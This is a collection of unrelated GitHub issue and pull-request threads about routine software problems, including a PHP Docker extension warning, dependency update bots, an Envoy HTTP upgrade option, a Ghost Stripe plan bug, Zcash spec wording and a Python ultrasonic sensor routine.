docker-compose exec php-fpm bash
php or any php command php -v

Error Details:
PHP Warning:  PHP Startup: Unable to load dynamic library '/usr/local/lib/php/extensions/no-debug-non-zts-20151012/aerospike.so' - /usr/local/lib/php/extensions/no-debug-non-zts-20151012/aerospike.so: cannot open shared object file: No such file or directory in Unknown on line 0
PHP Warning:  PHP Startup: Invalid library (appears to be a Zend Extension, try loading using zend_extension=opcache.so from php.ini) in Unknown on line 0

After setting Aerospike to true in the docker-compose file and rebuild I get this warning:
PHP Warning:  PHP Startup: Invalid library (appears to be a Zend Extension, try loading using zend_extension=opcache.so from php.ini) in Unknown on line 0

I got somthings similar when using xdebugPhpFpm
➜  laradock git:(master) ✗ ./xdebugPhpFpm start
Start xDebug
laradock_php-fpm_1
PHP Warning:  PHP Startup: Unable to load dynamic library '/usr/local/lib/php/extensions/no-debug-non-zts-20151012/aerospike.so' - /usr/local/lib/php/extensions/no-debug-non-zts-20151012/aerospike.so: cannot open shared object file: No such file or directory in Unknown on line 0
PHP Warning:  PHP Startup: Invalid library (appears to be a Zend Extension, try loading using zend_extension=opcache.so from php.ini) in Unknown on line 0
PHP 7.0.9 (cli) (built: Aug 10 2016 19:45:48) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies
    with Zend OPcache v7.0.9, Copyright (c) 1999-2016, by Zend Technologies
    with Xdebug v2.5.0, Copyright (c) 2002-2016, by Derick Rethans

@gagarine @mahmoudz I have seen this quite often over the weekend working on the xDebug stuff on macOS. I will tackle this issue after I am done with xDebug tasks.

fix for aerospike - #622
fix for opcache - #617


Update aws-java-sdk-core to 1.12.425

Updates com.amazonaws:aws-java-sdk-core from 1.12.421 to 1.12.425.
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

Adjust future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "com.amazonaws", artifactId = "aws-java-sdk-core" } ]

Or, add this to slow down future updates of this dependency:
dependencyOverrides = [{
  pullRequests = { frequency = "30 days" },
  dependency = { groupId = "com.amazonaws", artifactId = "aws-java-sdk-core" }
}]

labels: library-update, early-semver-patch, semver-spec-patch, commit-count:1

Superseded by #264.


http: configurable ignore of HTTP/1.1 upgrades

Fixes https://github.com/envoyproxy/envoy/issues/36305
Add configuration to ignore HTTP/1.1 Upgrade headers . See https://datatracker.ietf.org/doc/html/rfc7230#section-6.7:
Risk Level: Medium
Testing: new unit tests
Docs Changes: in with APIs
Release Notes: inline

@tedgeat  👋 , is it going to work for http2 upstreams too?

I don't think remove the unsupported upgrade type and treat the upgrade request as a normal http request is good choice. If clients ask envoy to upgrade but envoy cannot support, rejection would be best choice.
This change brings a new option to our core API and only for a special (or incorrect) hack.
cc @alyssawilk @envoyproxy/senior-maintainers for more input.
/wait

The spec says either to ignore or upgrade and doesn't mention rejection at all. But as that's the current envoy behaviour this makes ignoring opt-in

note: envoy maintainers will be mostly on vacation until 6th jan
/wait-any


Update log4j-over-slf4j, slf4j-api to 1.7.33

Updates

org.slf4j:log4j-over-slf4j
org.slf4j:slf4j-api

from 1.7.32 to 1.7.33.
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

Ignore future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "org.slf4j" } ]

labels: test-library-update, early-semver-patch, semver-spec-patch, commit-count:1

Superseded by #138.


Coffeescript syntax grammar

VSCode Version: 1.3
OS Version: Windows 10

Hello, you're adding new syntax grammar for javascript from atom grammar, maybe you're converting atom coffeescript grammar? He is awesome, and many people used coffeescript in projects.

We already have Coffeescript syntax. I don't understand the request.


Error when applying complimentary plan to member

Originally reported at https://forum.ghost.org/t/complimentary-premium-plan-return-an-error/13738/1

The only problem I have at the moment is in the complimentary Premium Plan. When I select a member, change the toggle and hit save it return this.
Internal server error, cannot edit a member. Cannot read property ‘id’ of undefined
But I’m able to add notes change the name and save just not a complimentary option.

TypeError: Cannot read property 'id' of undefined
        at StripePaymentProcessor.setComplimentarySubscription (/home/ghost/node_modules/@tryghost/members-api/lib/stripe/index.js:252:45)

(Internal discussion for future reference https://ghost.slack.com/archives/C02G9E68C/p1587559818050500)

There appear to be two causes for this so far:

If the monthly/yearly price is set to 0 we have a hash collision with plan identifiers that results in the complimentary plan not being created
Something within the upgrade process resulting in the complimentary plan not being created

This is in progress in this WIP PR: https://github.com/TryGhost/Members/pull/167/files
Was a little slower than I'd have liked due to looking at the new "Prices" from Stripe and trying to use that, I think it's worth it though as this cleans up a lot of things!

Closing in favour of https://github.com/TryGhost/Members/issues/168

https://stripe.com/docs/currencies#minimum-and-maximum-charge-amounts <-- resource for when we do validation

The solution to this should be validating that the values are not < 1. This works for all currencies we support. There will be a larger refactor of currency support soon.

The Ghost API & Admin no longer allow creating plans with an amount of 0. So future installs/setups should not run into this problems.
We have not removed existing 0 amount plans, but they may still cause issues with Complimentary plans, the fix would be to update your plans to have an amount of 1 or more :relaxed:

This is still occuring for me on 3.27.0. Any idea ?
Plan is on 5e / month

@allouis bump ! still occuring with 3.29.1
I made sure my plan's price is > 0

@sbounmy If you think this is still a bug on the latest version, would you be able to open an issue with reproducible steps and stack traces from the errors and any other useful info? Thanks :relaxed:


[devops] improve logging for observability

Features

Core

log request lifecycle

Optional

Implementation

Potential Issues

I can take up this task

[Posthog]
Pros:

Free tier currently supports 1 million api calls per month
A lot of OOTB functionality
Configuration is easy
Able to self host

Cons:

May add unnecessary bloat to deployment
Requires installation of posthog-js via npm, adding a dependency

[Umami]
Pros:

More security focused
Lightweight
Configurable
Able to self-host
Does not require a package installation

Cons:

Will need quite a bit of configuration to reach posthog's functionality.
Free tier supports 10k requests a month

Due to the OOTB functionality that Posthog provides, and the better free tier, advised to use posthog for now and can look at umami if circumstances change.

Thanks for the detailed analysis! :)
Aligned with you on PostHog.
Please go ahead with implementing PostHog and we'll see how that goes for us, keeping in mind that there's a possibility of abandoning it for Umami if there's too much pain involved


Trench as a surface instead of as a planet

Hi! I noticed that the trench is a planet instead of a surface... so you can't launch rockets from it properly. There isn't even a space-connection between the trench and the planet so you can't even send space platforms there.

As a gameplay prospective it makes sense to make use of the unique mechanics of the mod which is the submarines to move items between the trench and the ocean. From a more logical perspective it is just really odd to launch rockets from a high pressure area that demands the use of a submarine to navigate.

Ok, so why is it a planet and not a surface?

Surfaces are lacking many key features in the modding API compared to planets. For this reason the trench surface must be on the starmap.

Can it be hidden from the star map?

I don't think there's a way to hide it with the current modding API.

I don't think there's a way to hide it with the current modding API.

Factorio Lua API.


pose question

Hi, one, I want to predict pose of kitti_odom_datasets,can I directly use the kitti_data to train not the kitti_odom_datasets?
two, what  is the estimates of the pose  the effect?
Thanks.

You open two issues, I will close one, you will get reply from the other.


Bump vendored Calcite version to 0.2

This integrates the fix from #10559, which fixes clashes between non-vendored Calcite and vendored Calcite for ZetaSQL.
The vendored Calcite artifact should be published before accepting this pull request.

Thank you for your contribution! Follow this checklist to help us incorporate your contribution quickly and easily:

[x] Choose reviewer(s) and mention them in a comment (R: @username).
[x] Format the pull request title like [BEAM-XXX] Fixes bug in ApproximateQuantiles, where you replace BEAM-XXX with the appropriate JIRA issue, if applicable. This will automatically link the pull request to the issue.
[x] Update CHANGES.md with noteworthy changes.
[x] If this contribution is large, please file an Apache Individual Contributor License Agreement.

See the Contributor Guide for more tips on how to make review process smoother.

GitHub Actions Tests Status (on master branch)

See CI.md for more information about GitHub Actions CI.

R: @kennknowles
R: @lukecwik

iirc, we did not have 0.2 release in public maven repo. btw, could we have a release for 0.2 version in order to making this PR green? :)

Correct, 0.2 isn't publicly released, which is definitely a prerequisite for this PR. :)
For context, I encountered vendored/non-vendored clash in combination with the client/cluster SparkRunner.
I was preparing to apply a fix to the shadow jar configuration and then found out it was already fixed, but never fully integrated.
Publishing 0.2 to the local Maven repository and applying the above version upgrade resolved the issue (as expected) with the client/cluster SparkRunner job.

What is the plan for this PR? Are we planning to make a 0.2 release?

Closing as this is out of date since Beam is now vendoring 1.26.0 as of https://github.com/apache/beam/commit/dd6b3c25a497342e760002c1990c66d0623a5f35


v1.2.3 - type fixes

Codecov Report
Base: 96.23% // Head: 96.27% // Increases project coverage by +0.05% :tada:

Coverage data is based on head (70b0467) compared to base (c4e69d6).
Patch coverage: 72.73% of modified lines in pull request are covered.

:mega: This organization is not using Codecov’s GitHub App Integration. We recommend you install it so Codecov can continue to function properly for your repositories. Learn more
Additional details and impacted files
@@            Coverage Diff             @@
##             main      #12      +/-   ##
==========================================
+ Coverage   96.23%   96.27%   +0.05%
==========================================
  Files           3        3
  Lines         159      161       +2
  Branches       31       30       -1
==========================================
+ Hits          153      155       +2
  Misses          3        3
  Partials        3        3

Impacted Files
Coverage Δ

pdcast/core.py
95.86% <72.73%> (+0.06%)
:arrow_up:

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report at Codecov.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


[BUG] consent_required

I keep getting this error: consent_required
I'm facing this right after logging into the account. Whatever I tried to solve it didn't work. I even switched to a business account
Please Help Me !!

@saygin-bey show your code and traceback first

I had to constantly change the device id. I solved the problem. Thanks

@saygin-bey  I am facing same problem , how you fix it ?


Computed properties cannot depend on computations

Currently, if I have the following
data: {
    date: moment()
},
computed: {
    monday: function () {
        return this.date.isoWeekday(1).format('d');
    }
}

my monday variable will not be updated if date is updated. Vue would be aware of the dependency for this.date.isoWeekday(1), but since monday is dependent on modifying this.date, it somehow does not work.
Here's a JSFiddle demonstrating it:
https://jsfiddle.net/r03bd488/3/
As you can see, none of the computed properties update, despite updating the dependency (which is changing, see console log)

I think you misunderstood how Vue's reactivity works. A moment() object is a blackbox with its own complex internal state. It's not a plain data object that Vue can guarantee to observe.
See more at http://vuejs.org/guide/reactivity.html


Expose Checkpoints

Splitting this from https://github.com/PaycoinFoundation/paycoinj/pull/16

LGTM


Can't remap CoPilot key to Ctrl(right)

Microsoft PowerToys version
0.86.0
Installation method
Microsoft Store
Running as admin
No
Area(s) with issue?
Keyboard Manager
Steps to reproduce
I have an HP Elitebook 840 G11. It has a CoPilot key that I am trying to remap to Right-Ctrl. I have selected "Shortcuts" instead of "Keys" as it sends Win(left) + Shift(left) + F23. I have selected "To" as Ctrl(right) but it doesn't work.

✔ Expected Behavior
The CoPilot key is remapped to Ctrl(right) and I'm able to use it with keyboard shortcuts like Ctrl+arrow, Ctrl+P, Ctrl+O
❌ Actual Behavior
Pushing the remapped CoPilot key does nothing. If I push the key + O, all I get is "O", not a window to open a document.
Other Software
No response

/dup #35808


Can't easily override locally scoped css

Some uis use custom css to select classes inside tgui components. For instance, the crewmanifest ui targets the title inside sections:
https://github.com/tgstation/tgstation/blob/7da06f543dadfd4bb4d32ea441dc9842a969bdf8/tgui/packages/tgui/styles/interfaces/CrewManifest.scss#L17-L24
This doesn't seem to work when we're using (s)css modules, and after repeated attempts to fix this without fully understanding what's going on under the hood, I've come to the conclusion that we should simply name the classes uniquely and use regular css.

This example should've used a class named like CrewManifest__Section, which would be added by hand to the section instead of relying on css cascades.

One thing I've struggled with when porting to this is that it's extremely difficult to modify elements within a tgui-core component. So, the icon within a Button, or the Title portion of a Section.
I ended up employing fairly fragile solutions like: IDComputer__DeptBox > div:first-child


Error Queue fallback

Hello,
Is it possible to define in config the error queue fallback when messages are deleted after n failed retries ?
It seems that the option exists on IronMQ interface, but I haven't seen in it nor in qpush-bundle, nor in QPush bundle nor in ironmq library the parameter to set it.
If such an option exists, is there an API to query this error queue to get informations about failed messages ?
Thank you for your help.

Just have seen parameter "error_queue" in library https://github.com/iron-io/iron_mq_php.
Is it possible to set in config and how ?


chore(dispute): adding disputeamount as int type

Type of Change

[ ] Bugfix
[ ] New feature
[x] Enhancement
[ ] Refactoring
[ ] Dependency updates
[ ] Documentation
[ ] CI/CD

Description
adding dispute_amount column as int type because amount in dispute table is of string type on which we cannot have aggregation for analytics
Additional Changes

[ ] This PR modifies the API contract
[x] This PR modifies the database schema
[ ] This PR modifies application configuration/environment variables

Motivation and Context

How did you test it?

Checklist

[x] I formatted the code cargo +nightly fmt --all
[x] I addressed lints thrown by cargo clippy
[x] I reviewed the submitted code
[ ] I added unit tests for my changes where possible
[ ] I added a CHANGELOG entry if applicable


KFLUXBUGS-863: repin watcher image to mem leak version

While the now third version of the mem leak and cancelled context  fixes held up better in stage by moving log storage off the reconciler thread, the ongoing grpc/http2 performance issues showed enough performance regression from the mem leak fix, coupled with no improvement with cancelled context (log storage still got interrupted) that I am resetting the watcher version to what is currently in prod.
We are actively working the prototypes to either do log retrieval in the api server, or preferrably, move S3 interaction to the watcher.
I was able to successfully test the older version of the watcher with the latest version of the api server, so I am leaving the api server at the more recent version to get its performance tuning improvements.
long term we need https://github.com/openshift-pipelines/pipeline-service/pull/1010 in place so that future pipeline service updates to not accidentally bump the version of the watcher image
I also left the enablement of pprof for the watcher, so that we can get thread dumps if necessary; per go doc enablement of pprof is safe in prod as long as you don't cpu profile
@enarha PTAL ... once this is in place, then along with https://github.com/redhat-appstudio/infra-deployments/blob/main/components/pipeline-service/production/base/kustomization.yaml#L17-L21 (though we can undo the api server pin if things look OK in stage) you should be able to move forward with TLS related changes for results without disrupting how the watcher is currently working in prod.
rh-pre-commit.version: 2.3.0
rh-pre-commit.check-secrets: ENABLED

/hold

@enarha I've tagged for merge, but put a hold on for now while I work a couple of other items.  I'll release the hold so this merges when I can monitor stage uninterrupted and confirm results is OK afterward before I leave for PTO.
thanks

/hold cancel


Use correct poster, landscape and fanart artworks. Add clearlogo.

This fixes the wrong usage of Netflix artwork in listitem art, fixing #134, #287, #325 and #340. It also adds support for clearlogos.
Quality of posters is reasonable, but not perfect. I wasn't able to determine a larger size than 342x684, because Netflix doesn't let you query for all available sizes.
Types of changes

[x] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)
[x] I have read the CONTRIBUTING document.

All Submissions:

[x] Have you followed the guidelines in our Contributing document?
[x] Have you checked to ensure there aren't other open Pull Requests for the same update/change?

Changes to Core Features:

[x] Have you added an explanation of what your changes do and why you'd like us to include them?
[x] Have you successfully ran tests with your changes locally?

Made a quick test right now, and workin perfect!!! Now we get a correct poster, fanart and clearlogo!
But there is only fanart for Netflix Originals movies and series. If the movie/serie is other than Netflix Originals, there no fanart, only poster. But is very very AWESOME!!!
I'm using netflix on Brazil. See the screenshot below:

Thanx for contribution


Create Scribbler object

Scribbler is a wrapper around a stringbuilder and krayon instances. We also need a NullScribbler, which overrides the flush so that no output is generated. In test cases, the EliziumTest flag will be consulted to determine which type of sink to create, either a real scribbler or a null scribbler. Any code dependent on writing coloured content via the krayon can do so via the scribbler and not directly to the krayon or builder. The scribbler should implement a scribble method and have an additional flush method which invokes ToString on the builder. The scribble method reflects the fact that we can only invoke scribbe on the krayon. All other methods on Krayon which take a custom type will have to be overloaded with another version that takes a single string argument; eg the Pair method takes a hashtable pair object this will have to be overloaded with another version that takes a string and that string must be a full representation of the hashtable version. The reason why we need to overload custom type versions is that the _parse method looks only for an additional single argument and invokes the corresponding method on itself.
Single argument overloads:

Pair: a csv value; To use comma, user must a escape with a backslash
Line (a colletion of pairs), each pair is separated by a semi colon. semi-colon can be escaped with a backslash
Line with message, first item in semi-colon separated value is taken as the message if it doesnt look like a csv pair, ie it doesnt contain a comma

Should we move methods like WithArgSnippet from Krayon to Scribbler?


Operation level ActualSecurity fails to resolve due to a bug

I thing there is a bug here:
SwaggerOperation.cs
public ICollection<SwaggerSecurityRequirement> ActualSecurity => Security ?? Parent.Parent.Security;

Code need now to check if Security is an empty array or not, instead of that null check.
Symptom is ActualSecurity will never be picked up from document level.

Submitting a PR shortly


Implicit conversion of the minimum difficulty threshold to the compact representation

Issue
zcashd converts the PoWLimit to the compact representation before using it to perform the alternate difficulty check for testnet minimum difficulty blocks.
But this conversion is not explicitly specified in the Zcash Specification, ZIP-205, or ZIP-208.
This means that a strict reading of the specification might allow some block hashes that zcashd rejects.
Details
zcashd implements the proof of work limit as a compact value, truncating some of its least significant bits:
unsigned int GetNextWorkRequired(const CBlockIndex* pindexLast, const CBlockHeader *pblock, const Consensus::Params& params)
{
    unsigned int nProofOfWorkLimit = UintToArith256(params.powLimit).GetCompact();

https://github.com/zcash/zcash/blob/514d86817990a1bf9578ee5fa2d01c34c6ca6035/src/pow.cpp#L18
But the Zcash specification says:
PoWLimit :=
    2^243 − 1 for Mainnet
    2^251 − 1 for Testnet

https://zips.z.cash/protocol/protocol.pdf#constants
And ZIP-205 says:

If the block time of a block from this height onward is at least 15 minutes after that of the preceding block, then the block is a minimum-difficulty block, and its target threshold is set to the value of PoWLimit for testnet ...
https://zips.z.cash/zip-0205#change-to-difficulty-adjustment-on-testnet

And ZIP-208 says:

... if the block time of a block at height height ≥ 299188 is at least 6 · PoWTargetSpacing(height) seconds after that of the preceding block, then the block is a minimum-difficulty block, and its target threshold is set to the value of PoWLimit for testnet ...

https://zips.z.cash/zip-0208#minimum-difficulty-blocks-on-the-test-network
Suggested Resolution
@dconnolly or @daira, I'm not sure which of the following updates you'll want to make:

update the Zcash Specification so the PoWLimit constants are always converted to the compact representation
update the Zcash Specification so the difficulty filter specifies the precise comparison for testnet minimum difficulty blocks
update ZIP 205 and ZIP 208 to convert the PoWLimit constant to the compact representation before comparison

Thanks for reporting this. Please review zcash/zips#417 :-)

@teor2345 anything else to be done here?

It's fixed in the ZIPs.


Handle no nodes and/or no edges in new StellarGraph

If there's no node types or no edge types, the code ends up calling pd.concat([]) which is an error, so this has to be made conditional and appropriately-shaped dataframe created manually.
Now that it works, this also switches the default empty StellarGraph() constructor call to use the new StellarGraph implementation.
See: #774
(Reopening of #776 due to #786.)

It doesn't need it. The features are passed as a separate argument, and the node ID is the pandas index, not a column.


Remove deprecated AcceleratorConnector.parallel_devices

Proposed refactor
Remove the property AcceleratorConnector.parallel_devices and migrate its usage
https://github.com/PyTorchLightning/pytorch-lightning/blob/550d3a640d1bfeb731a16b2996d3160f0f7eb071/pytorch_lightning/trainer/connectors/accelerator_connector.py#L762-L764
Alternative
if isinstance(Trainer.strategy, ParallelStrategy):
    return Trainer.strategy.parallel_devices
return [0] if isinstance(Trainer.accelerator, GPUAccelerator) else []

Motivation
Remove deprecated accelerator_connector properties and deprecate Trainer properties accordingly.
AcceleratorConnector.parallel_devices was not used within PytorchLightning anymore and this property were not meant to be public.
Pitch
Remove the property AcceleratorConnector.parallel_devices
Additional context
No other usage, should be a safe remove
cc @justusschock @awaelchli @rohitgr7 @four4fish

@DuYicong515 Could you elaborate why we should remove it? It is used at multiple places in AcceleratorConnector.

Hi @kaushikb11, there was no AcceleratorConnector.parallel_devices used in existing code base.
Within accelerator_connector.py it's using a private variable _parallel_devices instead. Externally I think it's preferred to accessTrain.strategy.parallel_devices to access parallel_devices when using ParallelStrategy
The issue was intended to stop it being a public property, AcceleratorConnector._parallel_devices should be kept within accelrator_connector.py, while Trainer.strategy.parallel_devices is preferred compared to Trainer.accelerator_connector.parallel_devices


Remove unused global variables

Pull Request
Description
This closes #386. A new issue should be created specifically for the variable SAT_FILENAME that is still used in two places: here and here.
How Has This Been Tested?

[x] No
[ ] Yes

Checklist:

[x] My code follows OCF's coding style guidelines
[x] I have performed a self-review of my own code
[ ] I have made corresponding changes to the documentation
[ ] I have added tests that prove my fix is effective or that my feature works
[x] I have checked my code and corrected any misspellings

Awesome work, thank you @lenassero !


go-guru-definition does not work on go import area

When I jump the cursor to the import package name area and presses C-c C-o j, it cannot jump to the package. It should be able to jump to the dired page of the package folder. As shown in the following image, it says no identifiers found

If you could point me where to look for I could try to fix the code and pull request. So far not very familiar with the code base.

Sorry for taking so long to get to this. I looked into Prelude and Spacemacs, and even into go-guru. There is no indication that any of these support jumping to imports directly. If you are still using prelude, could you see what command you are invoking to follow imports? It can't be go-guru-definition, as far as I can tell.


temp

:warning: Please install the  to ensure uploads and comments are reliably processed by Codecov.
Codecov Report
Attention: Patch coverage is 0% with 44 lines in your changes missing coverage. Please review.

Project coverage is 64.51%. Comparing base (6fc4ea0) to head (824a198).

Additional details and impacted files
@@             Coverage Diff              @@
##              main       #3       +/-   ##
============================================
- Coverage   100.00%   64.51%   -35.49%
============================================
  Files            5        9        +4
  Lines           80      124       +44
  Branches        12       16        +4
============================================
  Hits            80       80
- Misses           0       40       +40
- Partials         0        4        +4

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Scroll.animateScroll.scrollTo multiple components at once

I'm trying to animate scroll of two different components at the same time (Scroll.animateScroll.scrollTo).
If there is only one component it works fine. When there's two or more, only one of them is changing the scroll.

Intressting, I'm not sure you can scroll mutiple components, unless you declare a container for each scroll.

It is indeed multiple instances of the same component, each of them having a different container for scrolling.

Sorry for my inexperience with git and npm. I've updated the react-scroll
package to version 1.6.7 but it is still not fixing it for me. Does this
version include the last fixes on this matter?
2017-11-28 13:43 GMT+01:00 Nikolai Kim<EMAIL_ADDRESS>
@alexdemartos https://github.com/alexdemartos, please have a look at
#281 https://github.com/fisshy/react-scroll/pull/281, maybe that would
help to resolve your question.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/fisshy/react-scroll/issues/253#issuecomment-347512083,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ACs8ArhmWIdZ21Hsw26w9FjyocEM07XHks5s6__sgaJpZM4PWMHi
.

No, the PR is not merged to master branch yet.  Thank you very much, this saved my day =) It should be pushed to the main branch

@alexdemartos now the changes are in v1.7.0, so please make appropriate changes into your dependencies and update the issue status once it is resolved 😸


auth levels

make auth into an array, so plugins can add their own authorizations for specific events and such, and then change auth checks to directly ask for a specific level or auth instead of using is_admin or is_owner.

It would not be hard to implement it now as there is not much code to change. It is simply the matter of using irc.check_level(nick, 'owner', callback) instead of irc.is_owner(nick, callback). All the plugins that use the auth levels would need to change that, but it would be good in the long run as later on it would be even harder to change those.

The plugin API documentation has been updated. It now includes that irc.check_level(nick, level, callback) is better as irc.is_level(nick, callback) is under discussion for removal.

The basic functions have been replaced, but there are still changes to implement. One of them is that !set_auth currently only accepts 'user', 'admin' and 'owner' as valid values here. It should search through the array. That also means that 'user' or a similar value would need to be added to the auth users array on master.


Cannot fetch mission_progress using example code.

In the drone_flight.py file we have a coroutine that will fetch the mission progress and return the current waypoint. We also have a test that just prints out the current mission progress data repeatedly. Both of these get stuck during a mission and never even start the first loop iteration.

It turns out that because we are using mission_raw when importing and uploading the mission we need to use mission_raw as opposed to just mission for all subsequent calls to get mission info.


Statusline of gvim 8 dosen't behave what it should be.

The vim documents says:

When all items in a group becomes an empty string (i.e. flags that are not set) and a minwid is not set for > the group, the whole group will become empty.

But it doesn't work in vim8.0 if I set highlight group. e.g
let &stl='%(%#Keyword#ccc%{""}ccc%)'
It should show nothing, but it still shows 'cccccc' in statusline.
It works as expectation if there are no highlight group in them. BTW, it works in vim7.4.1023 (indeed, all the previous version work).

The group is not empty, so it behaves as expected. This has been caused because of this bug report and has been fixed in patch 7.4.1511


docs: translate of how-to-setup-freecodecamp-locally to Russian

[x] I have read freeCodeCamp's contribution guidelines.
[x] My pull request has a descriptive title (not a vague title like Update index.md)
[x] My pull request targets the master branch of freeCodeCamp.
[x] None of my changes are plagiarized from another source without proper attribution.
[x] My article does not contain shortened URLs or affiliate links.

Related #18308

@LeMarck Awesome! Thanks! Congrats on your first open source contribution to this repository! We would welcome further help from you with our new Russian-language curriculum and Guide!


Add cs_CZ locale

Add cs_CZ locale

Thanks!

I would like to ask for help with very short translation, for my plugin https://github.com/vojtasvoboda/oc-useraccesslog-plugin/blob/master/lang/en/lang.php. A lot of lines are the same :-)
I can help you with translation to Czech language, if you want. Let me know.


improvement "sort-imports" : grouping + newlinebetween

like on https://github.com/benmosher/eslint-plugin-import/blob/master/docs/rules/order.md

ability to group member types (and considerate 1 group)
also force a newline between each group

Hey Wesley, thanks for the suggestion!
Although I appreciate the rule, it's out of scope of this project (which is to have core ESLint rules mirrored for TSLint). I recommend that you fork this project, remove all the current rules and create any rules you think it's valuable for the community and publish your own package to npm :)


feat: hcsr04 sensor implementation

TODO:

[x] Create a new SENSORS block in states
[x] Move and use Interval functions from #122
[X] Offload disable_IC to logic analyzer; may be?

Here is a software implementation in Python:
import time

from pslab.instrument.logic_analyzer import LogicAnalyzer
from pslab.instrument.waveform_generator import PWMGenerator

class HCSR04Soft(LogicAnalyzer, PWMGenerator):
    def __init__(self, device):
        self._device = device
        self._measure_period = 60e-3
        self._trigger_pulse_length = 10e-6

    def estimate_distance(
            self,
            trig="SQ1",
            echo="LA1",
            average=10,
            speed_of_sound=340
        ):
        self.capture(channels=echo, events=2*average, block=False)
        self.generate(
            channels=trig,
            frequency=self._measure_period ** -1,
            duty_cycles=self._trigger_channel / self._measure_period
        )
        time.sleep(self._measure_period * average)
        self.set_state(**{trig.lower(): 0})
        (t,) = self.fetch_data()
        high_times = t[::2] - t[1::2]
        return speed_of_sound * high_times.mean() / 2

Haven't tested it since I don't have the sensor, but it should work. This implementation has a number of benefits over the firmware:

The TRIG and ECHO pins are user configurable.
The speed of sound can be changed, for example based on measurements from a temperature and humidity sensor.
The measurement can be easily repeated with no overhead via the average argument. Rerunning the firmware implementation the same number of times will be slower.
Much less code to maintain.

@bessman sorry I didn't see the question of implementing this in Python earlier. I think that's a good idea and I just checked the code snippet you shared and it works! It's a neat trick to use the logic analyser to capture multiple samples to average the result. I like to go ahead with the Python path. Let me close this PR and link it to python-repo as an issue.


pull request for e2e test at 12/23/2016 08:56:16

:white_check_mark: Validation status: passed
For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


vimPlugins.coc-spell-checker: use a node package

coc-spell-checker needs to be from nodePackages rather than generated
as normal vim plugins are

this commit adds coc-spell-checker to nodePackages and adds an
override to the vim plugin

A similar pull request is #83661, although that was dropped due to conflicts && an unresponsive author

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[x] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
22.11 Release Notes (or backporting 22.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[x] Fits CONTRIBUTING.md.

LGTM, please rebase and give me a ping for a quick merge. Maybe only commit the relevant lines to reduce the amount of noise and risk not another merge conflict?

LGTM, please rebase and give me a ping for a quick merge. Maybe only commit the relevant lines to reduce the amount of noise and risk not another merge conflict?

@SuperSandro2000 thank you so much for helping! I've rebased, regenerated all the node packages and vim plugins, and taken your advice to commit only the necessary lines.
I've run another nixpkgs-review so I believe this PR doesn't introduce any regressions and I've also tested that the coc-spell-checker plugin builds and works

(Another rebase as node-packages.nix changes very frequently. Maybe I'll make something to just upgrade only some packages there as it seems to need it, I've also run nixpkgs-review again to make sure I'm not introducing any regressions)

This pull request has been mentioned on NixOS Discourse. There might be relevant details there:
https://discourse.nixos.org/t/prs-already-reviewed/2617/682


Chroma Custom Environments Not Loading Properly on 1.37.0

Describe the bug
Chroma custom environments on numerous maps are not loading properly. In some cases, the custom environment does not seem to load at all (ex. 3f835), on others the environment seems to load but with incomplete, incorrect, or missing shaders or something (ex. 3918e, 3a821).
To Reproduce
Simply download the example maps or other ones with Chroma custom environments, make sure custom environments are enabled, and enter the map (practice mode or actually playing).
Expected behavior
The Chroma custom environments would be expected to render properly as anticipated.
Additional context
Log file:
_latest.log
Butterfly Wing (3918e) Correct Lightshow:
https://www.youtube.com/watch?v=kI5MBjRdYog
Butterfly Wing 1.37.0 Lightshow with Errors (recorded at an earlier date, but result is the same as the one in the log file)
https://www.youtube.com/watch?v=21UEVC3LZGU

Update to 1.37.1 and it’ll be fixed. That’s the only solution

It appears to have indeed worked, thanks!


Suggestion: make the "Scene Requirement" section more clear in the documentation

First of all, there's just a very minor detail: I think the name should be "Scene Requirements" with an S as there multiple requirements, but I'm not 100% sure.
What brought me here in the first place is some confusion I got from the 2D example scene for Tweening. In this scene, there is a PhantomCamera2D as a child of an Area2D, but in the documentation, there it says:

At least onePhantomCamera2D/PhantomCamera3D node

Without a parent node except for the scene's root.

Here's what I understood from this:

There needs to be at least one Pcam
Pcams need to be a direct child of the scene's root node

So does this portion of the docs actually mean that you need the Pcam to be a descendant of the scene's root node? If so, I would simply remove the portion that says "Without a parent node...".
And lastly, does the following quote from the docs (in the same section) mean that the Camera2D/Camera3D needs to be a direct child of the root node? From my testing, it in fact does not need to be a direct child of the root node.

A Camera2D/Camera3D node

Without a parent node except for the scene's root.

If not, I suggest once again removing the last part.
I have never done this before but I will try to make a fork with these changes, plus an extremely minor detail: adding a space where indicated in the following image.

